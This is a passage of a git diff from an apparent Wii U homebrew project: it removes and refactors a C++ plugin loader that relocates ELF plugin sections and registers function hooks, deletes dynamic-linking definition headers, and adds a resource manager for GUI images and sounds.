-    Elf32_Sym *symtab = NULL;
-    uint8_t **destinations = NULL;
-    wups_loader_entry_t *entries = NULL;
-    wups_loader_hook_t *hooks = NULL;
-    bool result = false;
-
-    int32_t i = 1;
-
-    std::vector<wups_loader_entry_t *> entry_t_list;
-    std::vector<wups_loader_hook_t *> hook_t_list;
-
-    std::vector<FunctionData *> function_data_list;
-    std::vector<HookData *> hook_data_list;
-
-    if (!ElfTools::loadElfSymtab(elf, &symtab, &symtab_count, &symtab_strndx)) {
-        goto exit_error;
-    }
-
-    if(symtab == NULL) {
-        goto exit_error;
-    }
-
-    if (elf_getshdrnum(elf, &section_count) != 0) {
-        goto exit_error;
-    }
-    if (elf_getshdrstrndx(elf, &shstrndx) != 0) {
-        goto exit_error;
-    }
-
-    destinations = (uint8_t **) malloc(sizeof(uint8_t *) * section_count);
-
-    DEBUG_FUNCTION_LINE("Copy sections\n");
-
-    for (scn = elf_nextscn(elf, NULL); scn != NULL; scn = elf_nextscn(elf, scn)) {
-        Elf32_Shdr *shdr;
-
-        shdr = elf32_getshdr(scn);
-        if (shdr == NULL) {
-            continue;
-        }
-
-        if ((shdr->sh_type == SHT_PROGBITS || shdr->sh_type == SHT_NOBITS) &&
-                (shdr->sh_flags & SHF_ALLOC)) {
-
-            const char *name;
-
-            destinations[elf_ndxscn(scn)] = NULL;
-
-            name = elf_strptr(elf, shstrndx, shdr->sh_name);
-            if (name == NULL) {
-                DEBUG_FUNCTION_LINE("name is null\n");
-                continue;
-            }
-
-            if (strcmp(name, ".wups.meta") == 0) {
-                continue;
-            } else if (strcmp(name, ".wups.load") == 0) {
-                if (entries != NULL) {
-                    DEBUG_FUNCTION_LINE("entries != NULL\n");
-                    goto exit_error;
-                }
-
-                entries_count = shdr->sh_size / sizeof(wups_loader_entry_t);
-                entries = (wups_loader_entry_t *) malloc(sizeof(wups_loader_entry_t) * entries_count);
-
-                if (entries == NULL) {
-                    DEBUG_FUNCTION_LINE("entries == NULL\n");
-                    goto exit_error;
-                }
-
-                // We need to subtract the sh_addr because it will be added later in the relocations.
-                destinations[elf_ndxscn(scn)] = (uint8_t *)entries - (shdr->sh_addr);
-
-                if (!ElfTools::elfLoadSection(elf, scn, shdr, entries)) {
-                    DEBUG_FUNCTION_LINE("elfLoadSection failed\n");
-                    goto exit_error;
-                }
-
-                ElfTools::elfLoadSymbols(elf_ndxscn(scn), entries- (shdr->sh_addr), symtab, symtab_count);
-
-                for(size_t i = 0; i< entries_count; i++) {
-                    entry_t_list.push_back(&entries[i]);
-                }
-            } else if (strcmp(name, ".wups.hooks") == 0) {
-                if (hooks != NULL) {
-                    DEBUG_FUNCTION_LINE("hooks != NULL\n");
-                    goto exit_error;
-                }
-
-                hooks_count = shdr->sh_size / sizeof(wups_loader_hook_t);
-                hooks = (wups_loader_hook_t *) malloc(sizeof(wups_loader_hook_t) * hooks_count);
-
-                if (hooks == NULL) {
-                    DEBUG_FUNCTION_LINE("hooks == NULL\n");
-                    goto exit_error;
-                }
-
-                // We need to subtract the sh_addr because it will be added later in the relocations.
-                uint32_t destination = (uint32_t)hooks - (shdr->sh_addr);
-                destinations[elf_ndxscn(scn)] = (uint8_t *)destination;
-                if (!ElfTools::elfLoadSection(elf, scn, shdr, hooks)) {
-                    DEBUG_FUNCTION_LINE("elfLoadSection failed\n");
-                    goto exit_error;
-                }
-                ElfTools::elfLoadSymbols(elf_ndxscn(scn), (void *) destination, symtab, symtab_count);
-
-                for(size_t i = 0; i< hooks_count; i++) {
-                    hook_t_list.push_back(&hooks[i]);
-                }
-
-            } else {
-                uint32_t destination = firstCurAddress + shdr->sh_addr;
-                destinations[elf_ndxscn(scn)] = (uint8_t *) firstCurAddress;
-
-                if((uint32_t) destination + shdr->sh_size > (uint32_t) this->endAddress) {
-                    DEBUG_FUNCTION_LINE("Not enough space to load function %s into memory at %08X.\n",name,destination);
-                    goto exit_error;
-                }
-
-                DEBUG_FUNCTION_LINE("Copy section %s to %08X\n",name,destination);
-                if (!ElfTools::elfLoadSection(elf, scn, shdr, (void*) destination)) {
-                    DEBUG_FUNCTION_LINE("elfLoadSection failed\n");
-                    goto exit_error;
-                }
-                ElfTools::elfLoadSymbols(elf_ndxscn(scn), (void*) firstCurAddress, symtab, symtab_count);
-
-                curAddress = ROUNDUP(destination + shdr->sh_size,0x100);
-            }
-        }
-    }
-
-    for (scn = elf_nextscn(elf, NULL); scn != NULL; scn = elf_nextscn(elf, scn)) {
-        Elf32_Shdr *shdr;
-
-        shdr = elf32_getshdr(scn);
-        if (shdr == NULL) {
-            continue;
-        }
-        const char *name;
-
-        name = elf_strptr(elf, shstrndx, shdr->sh_name);
-        if (name == NULL) {
-            DEBUG_FUNCTION_LINE("name is null\n");
-            continue;
-        }
-        if(shdr->sh_type == 0x80000002) {
-            ImportRPLInformation * info = ImportRPLInformation::createImportRPLInformation(i,name);
-            if(info != NULL) {
-                pluginData->addImportRPLInformation(info);
-            }
-        }
-        i++;
-    }
-    i = 0;
-
-    for (scn = elf_nextscn(elf, NULL); scn != NULL; scn = elf_nextscn(elf, scn)) {
-        Elf32_Shdr *shdr;
-
-        shdr = elf32_getshdr(scn);
-        if (shdr == NULL) {
-            continue;
-        }
-
-        const char *name;
-
-        name = elf_strptr(elf, shstrndx, shdr->sh_name);
-        if (name == NULL) {
-            DEBUG_FUNCTION_LINE("name is null\n");
-            continue;
-        }
-        if ((shdr->sh_type == SHT_PROGBITS || shdr->sh_type == SHT_NOBITS) &&
-                (shdr->sh_flags & SHF_ALLOC) &&
-                destinations[elf_ndxscn(scn)] != NULL) {
-
-            DEBUG_FUNCTION_LINE("Linking (%d)... %s\n",i++,name);
-            if (!ElfTools::elfLink(elf, elf_ndxscn(scn), destinations[elf_ndxscn(scn)], symtab, symtab_count, symtab_strndx, true, pluginData)) {
-                DEBUG_FUNCTION_LINE("elfLink failed\n");
-                goto exit_error;
-            }
-        }
-    }
-    DEBUG_FUNCTION_LINE("Linking done \n");
-
-    for(size_t j=0; j<hook_t_list.size(); j++) {
-        wups_loader_hook_t * hook = hook_t_list[j];
-
-        DEBUG_FUNCTION_LINE("Saving hook of plugin \"%s\". Type: %08X, target: %08X\n",pluginData->getPluginInformation()->getName().c_str(),hook->type,(void*) hook->target);
-        HookData * hook_data = new HookData((void *) hook->target,hook->type);
-        pluginData->addHookData(hook_data);
-    }
-
-    for(size_t j=0; j<entry_t_list.size(); j++) {
-        wups_loader_entry_t * cur_function = entry_t_list[j];
-        DEBUG_FUNCTION_LINE("Saving function \"%s\" of plugin \"%s\". Library: %08X, target: %08X, call_addr: %08X\n",cur_function->_function.name,pluginData->getPluginInformation()->getName().c_str(),cur_function->_function.library,cur_function->_function.target, (void *) cur_function->_function.call_addr);
-        FunctionData * function_data = new FunctionData(cur_function->_function.name,cur_function->_function.library, (void *) cur_function->_function.target, (void *) cur_function->_function.call_addr);
-        pluginData->addFunctionData(function_data);
-    }
-
-    this->setCurrentStoreAddress((void *) curAddress);
-
-    result = true;
-exit_error:
-    if (!result) {
-        DEBUG_FUNCTION_LINE("exit_error\n");
-    }
-    if (destinations != NULL) {
-        free(destinations);
-    }
-    if (symtab != NULL) {
-        free(symtab);
-    }
-    if (hooks != NULL) {
-        free(hooks);
-    }
-    if (entries != NULL) {
-        free(entries);
-    }
-    return result;
-}
-
-void PluginLoader::copyPluginDataIntoGlobalStruct(std::vector<PluginData *> plugins) {
-    // Reset data
-    memset((void*)&gbl_replacement_data,0,sizeof(gbl_replacement_data));
-    DynamicLinkingHelper::getInstance()->clearAll();
-    int32_t plugin_index = 0;
-    // Copy data to global struct.
-    for(size_t i = 0; i< plugins.size(); i++) {
-        PluginData * cur_plugin = plugins.at(i);
-        PluginInformation * cur_pluginInformation = cur_plugin->getPluginInformation();
-
-        // Relocation
-        std::vector<RelocationData *> relocationData = cur_plugin->getRelocationDataList();
-        for(size_t j = 0; j < relocationData.size(); j++) {
-            if(!DynamicLinkingHelper::getInstance()->addReloationEntry(relocationData[j])) {
-                DEBUG_FUNCTION_LINE("Adding relocation for %s failed. It won't be loaded.\n",cur_pluginInformation->getName().c_str());
-                continue;
-            } else {
-                //relocationData[j]->printInformation();
-            }
-        }
-
-        // Other
-
-
-        std::vector<FunctionData *> function_data_list = cur_plugin->getFunctionDataList();
-        std::vector<HookData *> hook_data_list = cur_plugin->getHookDataList();
-        if(plugin_index >= MAXIMUM_PLUGINS ) {
-            DEBUG_FUNCTION_LINE("Maximum of %d plugins reached. %s won't be loaded!\n",MAXIMUM_PLUGINS,cur_pluginInformation->getName().c_str());
-            continue;
-        }
-        if(function_data_list.size() > MAXIMUM_FUNCTION_PER_PLUGIN) {
-            DEBUG_FUNCTION_LINE("Plugin %s would replace to many function (%d, maximum is %d). It won't be loaded.\n",cur_pluginInformation->getName().c_str(),function_data_list.size(),MAXIMUM_FUNCTION_PER_PLUGIN);
-            continue;
-        }
-        if(hook_data_list.size() > MAXIMUM_HOOKS_PER_PLUGIN) {
-            DEBUG_FUNCTION_LINE("Plugin %s would set too many hooks (%d, maximum is %d). It won't be loaded.\n",cur_pluginInformation->getName().c_str(),hook_data_list.size(),MAXIMUM_HOOKS_PER_PLUGIN);
-            continue;
-        }
-
-        replacement_data_plugin_t * plugin_data = &gbl_replacement_data.plugin_data[plugin_index];
-
-#warning TODO: add GUI option to let the user choose
-        plugin_data->kernel_allowed = true;
-        plugin_data->kernel_init_done = false;
-
-        strncpy(plugin_data->plugin_name,cur_pluginInformation->getName().c_str(),MAXIMUM_PLUGIN_NAME_LENGTH-1);
-        strncpy(plugin_data->path,cur_pluginInformation->getPath().c_str(),MAXIMUM_PLUGIN_PATH_NAME_LENGTH-1);
-
-        for(size_t j = 0; j < function_data_list.size(); j++) {
-            replacement_data_function_t * function_data = &plugin_data->functions[j];
-            FunctionData * cur_function = function_data_list[j];
-
-            if(strlen(cur_function->getName().c_str()) > MAXIMUM_FUNCTION_NAME_LENGTH-1) {
-                DEBUG_FUNCTION_LINE("Couldn not add function \"%s\" for plugin \"%s\" function name is too long.\n",cur_function->getName().c_str(),plugin_data->plugin_name);
-                continue;
-            }
-
-            DEBUG_FUNCTION_LINE("Adding function \"%s\" for plugin \"%s\"\n",cur_function->getName().c_str(),plugin_data->plugin_name);
-
-            //TODO: Warning/Error if string is too long.
-
-            strncpy(function_data->function_name,cur_function->getName().c_str(),MAXIMUM_FUNCTION_NAME_LENGTH-1);
-
-            function_data->library = cur_function->getLibrary();
-            function_data->replaceAddr = (uint32_t) cur_function->getReplaceAddress();
-            function_data->replaceCall = (uint32_t) cur_function->getReplaceCall();
-
-            plugin_data->number_used_functions++;
-        }
-
-        DEBUG_FUNCTION_LINE("Entries for plugin \"%s\": %d\n",plugin_data->plugin_name,plugin_data->number_used_functions);
-
-        for(size_t j = 0; j < hook_data_list.size(); j++) {
-            replacement_data_hook_t * hook_data = &plugin_data->hooks[j];
-
-            HookData * hook_entry = hook_data_list[j];
-
-            DEBUG_FUNCTION_LINE("Set hook for plugin \"%s\" of type %08X to target %08X\n",plugin_data->plugin_name,hook_entry->getType(),(void*) hook_entry->getFunctionPointer());
-            hook_data->func_pointer = (void*) hook_entry->getFunctionPointer();
-            hook_data->type         = hook_entry->getType();
-            plugin_data->number_used_hooks++;
-        }
-
-        DEBUG_FUNCTION_LINE("Hooks for plugin \"%s\": %d\n",plugin_data->plugin_name,plugin_data->number_used_hooks);
-
-        plugin_index++;
-        gbl_replacement_data.number_used_plugins++;
-    }
-    DCFlushRange((void*)&gbl_replacement_data,sizeof(gbl_replacement_data));
-    ICInvalidateRange((void*)&gbl_replacement_data,sizeof(gbl_replacement_data));
-}
-
-uint32_t PluginLoader::getMemoryFromDataSection(size_t align, size_t size) {
-    uint32_t ptr = (uint32_t)gbl_common_data_ptr;
-    ptr = (ptr + (align - 1)) & -align;  // Round up to align boundary
-    uint32_t result = ptr;
-
-    if((result + size) >= (ptr + sizeof(gbl_common_data))) {
-        DEBUG_FUNCTION_LINE("No more space =( %08X > %08X\n",(result + size),(ptr + sizeof(gbl_common_data)));
-        return 0;
-    }
-    ptr += size;
-    gbl_common_data_ptr = (char *) ptr;
-
-    return result;
-}
diff --git a/src/plugin/PluginLoader.h b/src/plugin/PluginLoader.h
index c84d2b3..f5a0a41 100644
--- a/src/plugin/PluginLoader.h
+++ b/src/plugin/PluginLoader.h
@@ -1,36 +1,8 @@
-/* based on module.c
- *   by Alex Chadwick
- *
- * Copyright (C) 2014, Alex Chadwick
- * Modified 2018, Maschell
- *
- * Permission is hereby granted, free of charge, to any person obtaining a copy
- * of this software and associated documentation files (the "Software"), to deal
- * in the Software without restriction, including without limitation the rights
- * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
- * copies of the Software, and to permit persons to whom the Software is
- * furnished to do so, subject to the following conditions:
- *
- * The above copyright notice and this permission notice shall be included in
- * all copies or substantial portions of the Software.
- *
- * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
- * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
- * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
- * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
- * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
- * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
- * SOFTWARE.
- */
-
 #ifndef _PLUGIN_LOADER_H_
 #define _PLUGIN_LOADER_H_
 
 #include <vector>
-#include "PluginData.h"
 #include "PluginInformation.h"
-#include "dynamic_libs/os_types.h"
-#include "dynamic_libs/os_functions.h"
 
 #ifdef __cplusplus
 extern "C" {
@@ -42,27 +14,15 @@ extern "C" {
 }
 #endif
 
-extern char gbl_common_data[0x20000];
-extern char * gbl_common_data_ptr;
-
-#define PLUGIN_LOCATION_END_ADDRESS 0x01000000
 
 class PluginLoader {
 
 public:
-    static PluginLoader *getInstance() {
-        if(!instance) {
-            instance = new PluginLoader((void*)getApplicationEndAddr(),(void *)PLUGIN_LOCATION_END_ADDRESS);
-        }
-        return instance;
-    }
+    static PluginLoader * createInstance(uint32_t startAddress, uint32_t endAddress);
 
-    static void destroyInstance() {
-        if(instance) {
-            delete instance;
-            instance = NULL;
-        }
-    }
+    static void destroyInstance(PluginLoader * loader);
+
+    ~PluginLoader();
 
     /**
         \brief Parses the meta data of all plugins in the given directory.
@@ -71,7 +31,7 @@ public:
 
         \return a list of PluginInformation objects, one for each valid plugin.
     **/
-    std::vector<PluginInformation *> getPluginInformation(const char * path);
+    std::vector<PluginInformation *> getPluginsByPath(const char * path);
 
     /**
         \brief Gets plugin information from the global struct.
@@ -93,22 +53,16 @@ public:
     **/
     bool loadAndLinkPlugins(std::vector<PluginInformation *> pluginInformation);
 
-
-    static void flushCache() {
-        uint32_t startAddress = getApplicationEndAddr();
-        uint32_t endAddress = PLUGIN_LOCATION_END_ADDRESS;
-
-        DCFlushRange((void*)startAddress,(uint32_t)endAddress - (uint32_t)startAddress);
-        ICInvalidateRange((void*)startAddress,(uint32_t)endAddress - (uint32_t)startAddress);
-    }
-
     /**
-        \brief  Iterates through the vector and delete all it's elements
+        \brief Load
 
-        \param A list of PluginInformation* that should be deleted.
+        \param pluginInformation a PluginInformation object of the plugin that should be linked (relocated) and loaded.
     **/
-    void clearPluginInformation(std::vector<PluginInformation*> PluginInformation);
+    bool loadAndLinkPlugin(PluginInformation * pluginInformation);
 
+    void clearPluginInformation(std::vector<PluginInformation *> pluginInformation) ;
+
+    /*
     size_t getTotalSpace() {
         return ((uint32_t) this->endAddress - (uint32_t) this->startAddress);
     }
@@ -122,70 +76,18 @@ public:
     }
 
     void resetPluginLoader() {
-        this->currentStoreAddress = (void*) ROUNDUP((uint32_t)startAddress, 0x10000);
-    }
-
-    uint32_t getMemoryFromDataSection(size_t align, size_t size);
-
+        this->currentStoreAddress = ROUNDUP((uint32_t)startAddress, 0x10000);
+    }*/
 private:
-    PluginLoader(void * startAddress, void * endAddress) {
-        // TODO: Check if endAddress > startAddress.
-        this->startAddress = startAddress;
-        this->endAddress = endAddress;
-        this->currentStoreAddress = (void*) ROUNDUP((uint32_t)startAddress, 0x10000);
-    }
+    PluginLoader(plugin_loader_handle handle, uint32_t startAddress, uint32_t endAddress);
 
-    ~PluginLoader() {
+    std::vector<PluginInformation *> getPluginInformationByStruct(plugin_information_handle * handleList, uint32_t  handleListSize);
 
-    }
+    plugin_loader_handle handle = 0;
 
-    static PluginLoader *instance;
-
-    /**
-        \brief  Iterates through the vector and delete all it's elements
-
-        \param A list of PluginData* that should be deleted.
-    **/
-    void clearPluginData(std::vector<PluginData *> pluginData);
-
-    /**
-        \brief Load
-
-        \param pluginInformation a PluginInformation object of the plugin that should be linked (relocated) and loaded.
-
-        \return NULL on error. On success it will return a PluginData object.
-    **/
-    PluginData * loadAndLinkPlugin(PluginInformation * pluginInformation);
-
-    /**
-        \brief  Loads a plugin into memory (in the startAddress/endAddress range defined in this loader) and relocates it.
-                Modifies the pluginData param. Adds loaded functions and hooks.
-        \param pluginData object where the result should be stored
-        \param elf source elf from where the sections will be loaded
-        \param storeAddressEnd the address where the plugin data will be stored in memory. Saving BACKWARD.
-
-    **/
-    bool loadAndLinkElf(PluginData * pluginData, Elf *elf, void * storeAddressEnd);
-
-    /**
-       \brief  Copies the needed information into a global, persistent struct. This struct holds information on which
-               function should be override in which order and which hook should be called.
-       \param plugins list of plugins that should be used.
-
-    **/
-    void copyPluginDataIntoGlobalStruct(std::vector<PluginData *> plugins);
-
-    void * getCurrentStoreAddress() {
-        return this->currentStoreAddress;
-    }
-
-    void setCurrentStoreAddress(void *  addr) {
-        this->currentStoreAddress = addr;
-    }
-
-    void * startAddress = NULL;
-    void * endAddress = NULL;
-    void * currentStoreAddress = NULL;
+    uint32_t startAddress = 0;
+    uint32_t endAddress = 0;
+    uint32_t currentStoreAddress = 0;
 };
 
 
diff --git a/src/plugin/RelocationData.h b/src/plugin/RelocationData.h
deleted file mode 100644
index f16c527..0000000
--- a/src/plugin/RelocationData.h
+++ /dev/null
@@ -1,79 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-
-#ifndef _RELOCATION_DATA_H_
-#define _RELOCATION_DATA_H_
-
-#include <wups.h>
-#include <string>
-#include "ImportRPLInformation.h"
-
-class RelocationData {
-
-public:
-    RelocationData(char type, size_t offset, int32_t addend, void *destination, std::string name, ImportRPLInformation * rplInfo) {
-        this->type = type;
-        this->offset = offset;
-        this->addend = addend;
-        this->destination = destination;
-        this->name = name;
-        this->rplInfo = rplInfo;
-    }
-
-    ~RelocationData() {
-
-    }
-
-    char getType() {
-        return type;
-    }
-
-    size_t getOffset() {
-        return offset;
-    }
-
-    int32_t getAddend() {
-        return addend;
-    }
-
-    void * getDestination() {
-        return destination;
-    }
-
-    std::string getName() {
-        return name;
-    }
-
-    ImportRPLInformation * getImportRPLInformation() {
-        return rplInfo;
-    }
-
-    void printInformation() {
-        DEBUG_FUNCTION_LINE("%s destination: %08X offset: %08X type: %02X addend: %d rplName: %s isData: %d \n",name.c_str(), destination, offset, type, addend, rplInfo->getName().c_str(), rplInfo->isData() );
-    }
-
-private:
-    char type;
-    size_t offset;
-    int32_t addend;
-    void *destination;
-    std::string name;
-    ImportRPLInformation * rplInfo;
-};
-
-
-#endif
diff --git a/src/plugin/dynamic_linking_defines.h b/src/plugin/dynamic_linking_defines.h
deleted file mode 100644
index 34a7b84..0000000
--- a/src/plugin/dynamic_linking_defines.h
+++ /dev/null
@@ -1,66 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-
-#ifndef _DYNAMIC_LINKING_DEFINES_H_
-#define _DYNAMIC_LINKING_DEFINES_H_
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#include <dynamic_libs/os_functions.h>
-#include <wups.h>
-
-#define DYN_LINK_FUNCTION_NAME_LENGTH           255
-#define DYN_LINK_IMPORT_NAME_LENGTH             150
-
-#define DYN_LINK_FUNCTION_LIST_LENGTH           500
-#define DYN_LINK_IMPORT_LIST_LENGTH             50
-#define DYN_LINK_RELOCATION_LIST_LENGTH         5000
-
-typedef struct _dyn_linking_function_t {
-    char functionName[DYN_LINK_FUNCTION_NAME_LENGTH+1];
-    void * address;
-    uint32_t big_jump[6];
-} dyn_linking_function_t;
-
-typedef struct _dyn_linking_import_t {
-    char importName[DYN_LINK_IMPORT_NAME_LENGTH+1];
-    bool isData = false;
-    uint32_t handle = 0;
-} dyn_linking_import_t;
-
-typedef struct _dyn_linking_relocation_entry_t {
-    dyn_linking_function_t* functionEntry = NULL;
-    dyn_linking_import_t* importEntry = NULL;
-    void * destination = NULL;
-    char type;
-    size_t offset;
-    int32_t addend;
-} dyn_linking_relocation_entry_t;
-
-typedef struct _dyn_linking_relocation_data_t {
-    dyn_linking_relocation_entry_t entries[DYN_LINK_RELOCATION_LIST_LENGTH];
-    dyn_linking_function_t functions[DYN_LINK_FUNCTION_LIST_LENGTH];
-    dyn_linking_import_t imports[DYN_LINK_IMPORT_LIST_LENGTH];
-} dyn_linking_relocation_data_t;
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif /* _DYNAMIC_LINKING_DEFINES_H_ */
diff --git a/src/resources/Resources.cpp b/src/resources/Resources.cpp
new file mode 100644
index 0000000..973d9ce
--- /dev/null
+++ b/src/resources/Resources.cpp
@@ -0,0 +1,188 @@
+#include <malloc.h>
+#include <string.h>
+#include "Resources.h"
+#include "filelist.h"
+#include "system/AsyncDeleter.h"
+#include "fs/FSUtils.h"
+#include "gui/GuiImageAsync.h"
+#include "gui/GuiSound.h"
+
+Resources * Resources::instance = NULL;
+
+void Resources::Clear()
+{
+	for(int i = 0; RecourceList[i].filename != NULL; ++i)
+	{
+		if(RecourceList[i].CustomFile)
+		{
+			free(RecourceList[i].CustomFile);
+			RecourceList[i].CustomFile = NULL;
+		}
+
+		if(RecourceList[i].CustomFileSize != 0)
+			RecourceList[i].CustomFileSize = 0;
+	}
+
+	if(instance)
+        delete instance;
+
+    instance = NULL;
+}
+
+bool Resources::LoadFiles(const char * path)
+{
+	if(!path)
+		return false;
+
+	bool result = false;
+	Clear();
+
+	for(int i = 0; RecourceList[i].filename != NULL; ++i)
+	{
+        std::string fullpath(path);
+        fullpath += "/";
+        fullpath += RecourceList[i].filename;
+
+        uint8_t * buffer = NULL;
+        uint32_t filesize = 0;
+
+        FSUtils::LoadFileToMem(fullpath.c_str(), &buffer, &filesize);
+
+        RecourceList[i].CustomFile = buffer;
+        RecourceList[i].CustomFileSize = (uint32_t) filesize;
+        result |= (buffer != 0);
+	}
+
+	return result;
+}
+
+const uint8_t * Resources::GetFile(const char * filename)
+{
+	for(int i = 0; RecourceList[i].filename != NULL; ++i)
+	{
+		if(strcasecmp(filename, RecourceList[i].filename) == 0)
+		{
+			return (RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile);
+		}
+	}
+
+	return NULL;
+}
+
+uint32_t Resources::GetFileSize(const char * filename)
+{
+	for(int i = 0; RecourceList[i].filename != NULL; ++i)
+	{
+		if(strcasecmp(filename, RecourceList[i].filename) == 0)
+		{
+			return (RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize);
+		}
+	}
+	return 0;
+}
+
+GuiImageData * Resources::GetImageData(const char * filename)
+{
+    if(!instance)
+        instance = new Resources;
+
+    std::map<std::string, std::pair<unsigned int, GuiImageData *> >::iterator itr = instance->imageDataMap.find(std::string(filename));
+    if(itr != instance->imageDataMap.end())
+    {
+        itr->second.first++;
+        return itr->second.second;
+    }
+
+	for(int i = 0; RecourceList[i].filename != NULL; ++i)
+	{
+		if(strcasecmp(filename, RecourceList[i].filename) == 0)
+		{
+			const uint8_t * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile;
+			const uint32_t size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize;
+
+			if(buff == NULL)
+                return NULL;
+
+            GuiImageData * image = new GuiImageData(buff, size);
+            instance->imageDataMap[std::string(filename)].first = 1;
+            instance->imageDataMap[std::string(filename)].second = image;
+
+            return image;
+		}
+	}
+
+	return NULL;
+}
+
+void Resources::RemoveImageData(GuiImageData * image)
+{
+    std::map<std::string, std::pair<unsigned int, GuiImageData *> >::iterator itr;
+
+    for(itr = instance->imageDataMap.begin(); itr != instance->imageDataMap.end(); itr++)
+    {
+        if(itr->second.second == image)
+        {
+            itr->second.first--;
+
+            if(itr->second.first == 0)
+            {
+                AsyncDeleter::pushForDelete( itr->second.second );
+                instance->imageDataMap.erase(itr);
+            }
+            break;
+        }
+    }
+}
+
+GuiSound * Resources::GetSound(const char * filename)
+{
+    if(!instance)
+        instance = new Resources;
+
+    std::map<std::string, std::pair<unsigned int, GuiSound *> >::iterator itr = instance->soundDataMap.find(std::string(filename));
+    if(itr != instance->soundDataMap.end())
+    {
+        itr->second.first++;
+        return itr->second.second;
+    }
+
+	for(int i = 0; RecourceList[i].filename != NULL; ++i)
+	{
+		if(strcasecmp(filename, RecourceList[i].filename) == 0)
+		{
+			const uint8_t * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile;
+			const uint32_t size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize;
+
+			if(buff == NULL)
+                return NULL;
+
+            GuiSound * sound = new GuiSound(buff, size);
+            instance->soundDataMap[std::string(filename)].first = 1;
+            instance->soundDataMap[std::string(filename)].second = sound;
+
+            return sound;
+		}
+	}
+
+	return NULL;
+}
+
+void Resources::RemoveSound(GuiSound * sound)
+{
+    std::map<std::string, std::pair<unsigned int, GuiSound *> >::iterator itr;
+
+    for(itr = instance->soundDataMap.begin(); itr != instance->soundDataMap.end(); itr++)
+    {
+        if(itr->second.second == sound)
+        {
+            itr->second.first--;
+
+            if(itr->second.first == 0)
+            {
+                AsyncDeleter::pushForDelete( itr->second.second );
+                instance->soundDataMap.erase(itr);
+            }
+            break;
+        }
+    }
+}
diff --git a/src/resources/Resources.h b/src/resources/Resources.h
new file mode 100644
index 0000000..52285e0
--- /dev/null
+++ b/src/resources/Resources.h
@@ -0,0 +1,33 @@
+#ifndef RECOURCES_H_
+#define RECOURCES_H_
+
+#include <map>
+
+//! forward declaration
+class GuiImageData;
+class GuiSound;
+
+class Resources
+{
+public:
+    static void Clear();
+    static bool LoadFiles(const char * path);
+    static const uint8_t * GetFile(const char * filename);
+    static uint32_t GetFileSize(const char * filename);
+
+    static GuiImageData * GetImageData(const char * filename);
+    static void RemoveImageData(GuiImageData * image);
+
+    static GuiSound * GetSound(const char * filename);
+    static void RemoveSound(GuiSound * sound);
+private:
+    static Resources *instance;
+
+    Resources() {}
+    ~Resources() {}
+
+    std::map<std::string, std::pair<unsigned int, GuiImageData *> > imageDataMap;
+    std::map<std::string, std::pair<unsigned int, GuiSound *> > soundDataMap;
+};
+
+#endif
diff --git a/src/resources/filelist.cpp b/src/resources/filelist.cpp
deleted file mode 100644
index 2a5e0bd..0000000
--- a/src/resources/filelist.cpp
+++ /dev/null
@@ -1,79 +0,0 @@
-/****************************************************************************
- * Resource files.
- * This file is generated automatically.
- * Includes 15 files.
- *
- * NOTE:
- * Any manual modification of this file will be overwriten by the generation.
- *****************************************************************************/
-#include <resources/filelist.h>
-#include <stdint.h>
-
-extern const uint8_t font_ttf[];
-extern const uint32_t font_ttf_size;
-
-extern const uint8_t gameSettingsButton_png[];
-extern const uint32_t gameSettingsButton_png_size;
-
-extern const uint8_t gameSettingsButtonEx_png[];
-extern const uint32_t gameSettingsButtonEx_png_size;
-
-extern const uint8_t gameSettingsButtonExHighlighted_png[];
-extern const uint32_t gameSettingsButtonExHighlighted_png_size;
-
-extern const uint8_t gameSettingsButtonExSelected_png[];
-extern const uint32_t gameSettingsButtonExSelected_png_size;
-
-extern const uint8_t gameSettingsButtonSelected_png[];
-extern const uint32_t gameSettingsButtonSelected_png_size;
-
-extern const uint8_t GithubIcon_png[];
-extern const uint32_t GithubIcon_png_size;
-
-extern const uint8_t HomeButtonIcon_png[];
-extern const uint32_t HomeButtonIcon_png_size;
-
-extern const uint8_t PlusButtonIcon_png[];
-extern const uint32_t PlusButtonIcon_png_size;
-
-extern const uint8_t settings_click_2_mp3[];
-extern const uint32_t settings_click_2_mp3_size;
-
-extern const uint8_t switchIconBase_png[];
-extern const uint32_t switchIconBase_png_size;
-
-extern const uint8_t switchIconBaseHighlighted_png[];
